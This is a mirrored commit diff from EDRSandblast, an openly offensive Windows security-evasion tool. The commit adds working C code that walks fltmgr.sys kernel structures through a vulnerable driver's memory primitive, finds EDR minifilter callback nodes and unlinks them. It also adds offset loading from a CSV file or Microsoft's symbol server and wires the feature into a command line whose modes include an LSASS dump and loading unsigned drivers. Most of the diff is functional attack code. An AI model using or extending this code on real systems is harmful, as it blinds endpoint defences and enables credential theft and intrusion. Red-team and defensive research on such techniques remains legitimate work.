mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 08:35:24 +00:00
[new feature] Implements EDR minifilter callbacks detection and removal
Co-authored-by: Windy Bug <139051196+0mWindyBug@users.noreply.github.com>
This commit is contained in:
@@ -171,11 +171,13 @@
|
||||
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelDSE.c" />
|
||||
<ClCompile Include="KernellandBypass\KernelUtils.c" />
|
||||
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c" />
|
||||
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
|
||||
<ClCompile Include="UserlandBypass\Syscalls.c" />
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
|
||||
<ClCompile Include="Utils\CiOffsets.c" />
|
||||
<ClCompile Include="Utils\FileUtils.c" />
|
||||
<ClCompile Include="Utils\FltmgrOffsets.c" />
|
||||
<ClCompile Include="Utils\HttpClient.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
|
||||
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
|
||||
@@ -209,7 +211,9 @@
|
||||
<ClInclude Include="Includes\DriverDBUtil.h" />
|
||||
<ClInclude Include="Includes\DriverGDRV.h" />
|
||||
<ClInclude Include="Includes\DriverRTCore.h" />
|
||||
<ClInclude Include="Includes\FltmgrOffsets.h" />
|
||||
<ClInclude Include="Includes\KernelDSE.h" />
|
||||
<ClInclude Include="Includes\MinifilterCallbacks.h" />
|
||||
<ClInclude Include="Includes\PrintFunctions.h" />
|
||||
<ClInclude Include="Includes\PdbParser.h" />
|
||||
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
|
||||
|
||||
@@ -129,6 +129,12 @@
|
||||
<ClCompile Include="Utils\PdbParser.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\FltmgrOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Includes\CredGuard.h">
|
||||
@@ -254,6 +260,12 @@
|
||||
<ClInclude Include="Includes\PdbParser.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\MinifilterCallbacks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FltmgrOffsets.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
enum FltmgrOffsetType {
|
||||
FltGlobals = 0,
|
||||
_GLOBALS_FrameList,
|
||||
_FLT_RESOURCE_LIST_HEAD_rList,
|
||||
_FLTP_FRAME_Links,
|
||||
_FLTP_FRAME_RegisteredFilters,
|
||||
_FLT_OBJECT_PrimaryLink,
|
||||
_FLT_FILTER_DriverObject,
|
||||
_FLT_FILTER_InstanceList,
|
||||
_DRIVER_OBJECT_DriverInit,
|
||||
_FLT_INSTANCE_CallbackNodes,
|
||||
_FLT_INSTANCE_FilterLink,
|
||||
_SUPPORTED_FLTMGR_OFFSETS_END
|
||||
};
|
||||
|
||||
union FltmgrOffsets {
|
||||
// structure version of fltmgr.sys's offsets
|
||||
struct {
|
||||
DWORD64 FltGlobals;
|
||||
DWORD64 _GLOBALS_FrameList;
|
||||
DWORD64 _FLT_RESOURCE_LIST_HEAD_rList;
|
||||
DWORD64 _FLTP_FRAME_Links;
|
||||
DWORD64 _FLTP_FRAME_RegisteredFilters;
|
||||
DWORD64 _FLT_OBJECT_PrimaryLink;
|
||||
DWORD64 _FLT_FILTER_DriverObject;
|
||||
DWORD64 _FLT_FILTER_InstanceList;
|
||||
DWORD64 _DRIVER_OBJECT_DriverInit;
|
||||
DWORD64 _FLT_INSTANCE_CallbackNodes;
|
||||
DWORD64 _FLT_INSTANCE_FilterLink;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END];
|
||||
};
|
||||
|
||||
union FltmgrOffsets g_fltmgrOffsets;
|
||||
|
||||
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet);
|
||||
|
||||
BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename);
|
||||
void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename);
|
||||
|
||||
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb);
|
||||
|
||||
LPTSTR GetFltmgrPath();
|
||||
LPTSTR GetFltmgrVersion();
|
||||
@@ -21,6 +21,7 @@
|
||||
enum kernel_callback_type_e {
|
||||
NOTIFY_ROUTINE_CB,
|
||||
OBJECT_CALLBACK,
|
||||
MINIFILTER_CALLBACK,
|
||||
};
|
||||
struct KRNL_CALLBACK {
|
||||
enum kernel_callback_type_e type;
|
||||
@@ -34,8 +35,11 @@ struct KRNL_CALLBACK {
|
||||
struct object_callback_t {
|
||||
DWORD64 enable_addr;
|
||||
} object_callback;
|
||||
struct minifilter_callback_t {
|
||||
DWORD64 callback_node;
|
||||
} minifilter_callback;
|
||||
} addresses;
|
||||
DWORD64 callback_func;
|
||||
DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations
|
||||
BOOL removed;
|
||||
};
|
||||
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "KernelCallbacks.h"
|
||||
|
||||
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose);
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
|
||||
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
|
||||
#endif
|
||||
@@ -0,0 +1,167 @@
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#ifdef _DEBUG
|
||||
#include <assert.h>
|
||||
#endif
|
||||
|
||||
#include "FltmgrOffsets.h"
|
||||
#include "IsEDRChecks.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelUtils.h"
|
||||
#include "PrintFunctions.h"
|
||||
#include "PdbSymbols.h"
|
||||
#include "MinifilterCallbacks.h"
|
||||
|
||||
|
||||
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) {
|
||||
BOOL edrCallbacksWereFound = FALSE;
|
||||
|
||||
DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys");
|
||||
if (!fltmgr_base)
|
||||
return -1;
|
||||
if (verbose) {
|
||||
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base);
|
||||
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base
|
||||
+ g_fltmgrOffsets.st.FltGlobals);
|
||||
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base
|
||||
+ g_fltmgrOffsets.st.FltGlobals
|
||||
+ g_fltmgrOffsets.st._GLOBALS_FrameList
|
||||
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
|
||||
}
|
||||
|
||||
_putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:"));
|
||||
DWORD64 frame_list_header = fltmgr_base
|
||||
+ g_fltmgrOffsets.st.FltGlobals
|
||||
+ g_fltmgrOffsets.st._GLOBALS_FrameList
|
||||
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
||||
for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header);
|
||||
current_frame_shifted != frame_list_header;
|
||||
current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted)
|
||||
) {
|
||||
DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links;
|
||||
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame);
|
||||
|
||||
DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
||||
for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header);
|
||||
current_filter_shifted != filter_list_header;
|
||||
current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted)
|
||||
) {
|
||||
DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink;
|
||||
|
||||
|
||||
// check if current filter is EDR-related
|
||||
DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject);
|
||||
DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit);
|
||||
DWORD64 driverOffset;
|
||||
TCHAR* driver = FindDriverName(driverInit, &driverOffset);
|
||||
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver);
|
||||
|
||||
if (driver && isDriverNameMatchingEDR(driver)) {
|
||||
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:"));
|
||||
|
||||
DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
||||
for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header);
|
||||
current_instance_shifted != instance_list_header;
|
||||
current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted)
|
||||
) {
|
||||
DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink;
|
||||
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance);
|
||||
//printf("\t[*] CallbackNodes : 0x%p\n", (PVOID)CallbackNodesEntry);
|
||||
|
||||
// for each CALLBACK_NODE in the array
|
||||
DWORD64 CallbackNodesEntry = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
|
||||
SIZE_T nbCallbackNodes = 0;
|
||||
for (int j = 0; j < 50; j++)
|
||||
{
|
||||
DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesEntry + (j * 8));
|
||||
// Register all callback nodes
|
||||
if (CallbackNodePointer)
|
||||
{
|
||||
// Ugly hack: check if the node really is part of a linked list or have already been unlinked
|
||||
// TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ?
|
||||
DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink));
|
||||
DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink));
|
||||
DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink));
|
||||
DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink));
|
||||
if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) {
|
||||
continue;
|
||||
}
|
||||
|
||||
struct KRNL_CALLBACK cb = {
|
||||
.type = MINIFILTER_CALLBACK,
|
||||
.addresses.minifilter_callback.callback_node = CallbackNodePointer,
|
||||
.callback_func = 0, //TODO: complete with preoperation & postoperations func address for information
|
||||
.driver_name = driver,
|
||||
.removed = FALSE,
|
||||
};
|
||||
AddFoundKernelCallback(foundEDRCallbacks, &cb);
|
||||
edrCallbacksWereFound = TRUE;
|
||||
nbCallbackNodes++;
|
||||
}
|
||||
}
|
||||
_tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return edrCallbacksWereFound;
|
||||
}
|
||||
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list"));
|
||||
SIZE_T counter = 0;
|
||||
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS;
|
||||
ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size;
|
||||
ptr++
|
||||
) {
|
||||
if (ptr->type == MINIFILTER_CALLBACK &&
|
||||
ptr->removed == FALSE) {
|
||||
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
|
||||
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
|
||||
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
|
||||
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress);
|
||||
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress);
|
||||
ptr->removed = TRUE;
|
||||
counter++;
|
||||
}
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter);
|
||||
}
|
||||
|
||||
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
BOOL success = TRUE;
|
||||
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place"));
|
||||
SIZE_T counter = 0;
|
||||
// reinsert the nodes in the inverse order to avoid invalid states
|
||||
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1;
|
||||
edrCallbacks->EDR_CALLBACKS <= ptr;
|
||||
ptr--
|
||||
) {
|
||||
if (ptr->type == MINIFILTER_CALLBACK &&
|
||||
ptr->removed == TRUE) {
|
||||
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
|
||||
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
|
||||
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
|
||||
|
||||
// Checks that "previous" and "next" nodes are still next to each other in the list
|
||||
DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink));
|
||||
DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink));
|
||||
if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) {
|
||||
_putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?"));
|
||||
success = FALSE;
|
||||
continue;
|
||||
}
|
||||
|
||||
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress);
|
||||
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress);
|
||||
ptr->removed = FALSE;
|
||||
counter++;
|
||||
}
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter);
|
||||
return success;
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,157 @@
|
||||
#include <Windows.h>
|
||||
#include <Shlwapi.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "FileUtils.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PrintFunctions.h"
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
#include "FltmgrOffsets.h"
|
||||
|
||||
union FltmgrOffsets g_fltmgrOffsets = { 0 };
|
||||
|
||||
|
||||
BOOL FltmgrOffsetsAreLoaded() {
|
||||
return g_fltmgrOffsets.ar[0] != 0;
|
||||
}
|
||||
|
||||
|
||||
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) {
|
||||
if (FltmgrOffsetsAreLoaded()) {
|
||||
//offsets already loaded
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// load via CSV first
|
||||
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
|
||||
if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) {
|
||||
return TRUE;
|
||||
}
|
||||
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use."));
|
||||
}
|
||||
|
||||
// load via internet then
|
||||
if (canUseInternet) {
|
||||
_putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
#if _DEBUG
|
||||
if (LoadFltmgrOffsetsFromInternet(FALSE)) {
|
||||
#else
|
||||
if (LoadFltmgrOffsetsFromInternet(TRUE)) {
|
||||
#endif
|
||||
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
|
||||
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
|
||||
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
|
||||
SaveFltmgrOffsetsToFile(fltmgrOffsetFilename);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) {
|
||||
LPTSTR fltmgrVersion = GetFltmgrVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
TCHAR lineFltmgrVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion);
|
||||
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
|
||||
g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
|
||||
return FltmgrOffsetsAreLoaded();
|
||||
}
|
||||
|
||||
void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) {
|
||||
LPTSTR fltmgrVersion = GetFltmgrVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion);
|
||||
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT("\n"), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
|
||||
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) {
|
||||
LPTSTR fltmgrPath = GetFltmgrPath();
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath);
|
||||
if (sym_ctx == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals");
|
||||
g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit");
|
||||
g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links");
|
||||
g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters");
|
||||
g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject");
|
||||
g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList");
|
||||
g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes");
|
||||
g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink");
|
||||
g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink");
|
||||
g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList");
|
||||
g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
|
||||
return FltmgrOffsetsAreLoaded();
|
||||
}
|
||||
|
||||
TCHAR g_fltmgrPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetFltmgrPath() {
|
||||
if (_tcslen(g_fltmgrPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute fltmgr.sys path.
|
||||
PathAppend(g_fltmgrPath, systemDirectory);
|
||||
PathAppend(g_fltmgrPath, TEXT("drivers"));
|
||||
PathAppend(g_fltmgrPath, TEXT("fltMgr.sys"));
|
||||
}
|
||||
return g_fltmgrPath;
|
||||
}
|
||||
|
||||
TCHAR g_fltmgrVersion[256] = { 0 };
|
||||
LPTSTR GetFltmgrVersion() {
|
||||
if (_tcslen(g_fltmgrVersion) == 0) {
|
||||
LPTSTR fltmgrPath = GetFltmgrPath();
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath);
|
||||
|
||||
_stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer);
|
||||
}
|
||||
return g_fltmgrVersion;
|
||||
}
|
||||
@@ -14,11 +14,13 @@
|
||||
#include "CredGuard.h"
|
||||
#include "DriverOps.h"
|
||||
#include "FileUtils.h"
|
||||
#include "FltmgrOffsets.h"
|
||||
#include "Firewalling.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "KernelDSE.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "MinifilterCallbacks.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "ObjectCallbacks.h"
|
||||
#include "ProcessDump.h"
|
||||
@@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) {
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\
|
||||
[--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\
|
||||
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\
|
||||
[--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
|
||||
[--nt-offsets <NtoskrnlOffsets.csv>] [--fltmgr-offsets <FltmgrOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
|
||||
[--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\
|
||||
[--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\
|
||||
[--no-kdp]\n\
|
||||
@@ -168,6 +170,8 @@ Offset-related options:\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||
--fltmgr-offsets <FltmgrOffsets.csv> Path to the CSV file containing the required fltmgr.sys's offsets\n\
|
||||
Default to 'FltmgrOffsets.csv' in the current directory.\n\
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||
(only for the 'credguard' mode).\n\
|
||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||
@@ -204,6 +208,7 @@ Dump options:\n\
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR processName[] = TEXT("lsass.exe");
|
||||
TCHAR outputPath[MAX_PATH] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
@@ -219,6 +224,7 @@ Dump options:\n\
|
||||
BOOL ETWTIState = FALSE;
|
||||
BOOL foundNotifyRoutineCallbacks = FALSE;
|
||||
BOOL foundObjectCallbacks = FALSE;
|
||||
BOOL foundMinifilterCallbacks = FALSE;
|
||||
HOOK* hooks = NULL;
|
||||
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
|
||||
|
||||
@@ -305,6 +311,14 @@ Dump options:\n\
|
||||
}
|
||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
@@ -483,6 +497,14 @@ Dump options:\n\
|
||||
PrintNtoskrnlOffsets();
|
||||
}
|
||||
|
||||
if (_tcslen(fltmgrOffsetCSVPath) == 0) {
|
||||
PathAppend(fltmgrOffsetCSVPath, currentFolderPath);
|
||||
PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv"));
|
||||
}
|
||||
if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) {
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||
LPTSTR serviceNameIfAny = NULL;
|
||||
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
|
||||
@@ -533,6 +555,19 @@ Dump options:\n\
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)..."));
|
||||
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
|
||||
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found"));
|
||||
|
||||
if (foundMinifilterCallbacks) {
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
isSafeToExecutePayloadKernelland = FALSE;
|
||||
#else
|
||||
_putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks"));
|
||||
#endif
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
|
||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||
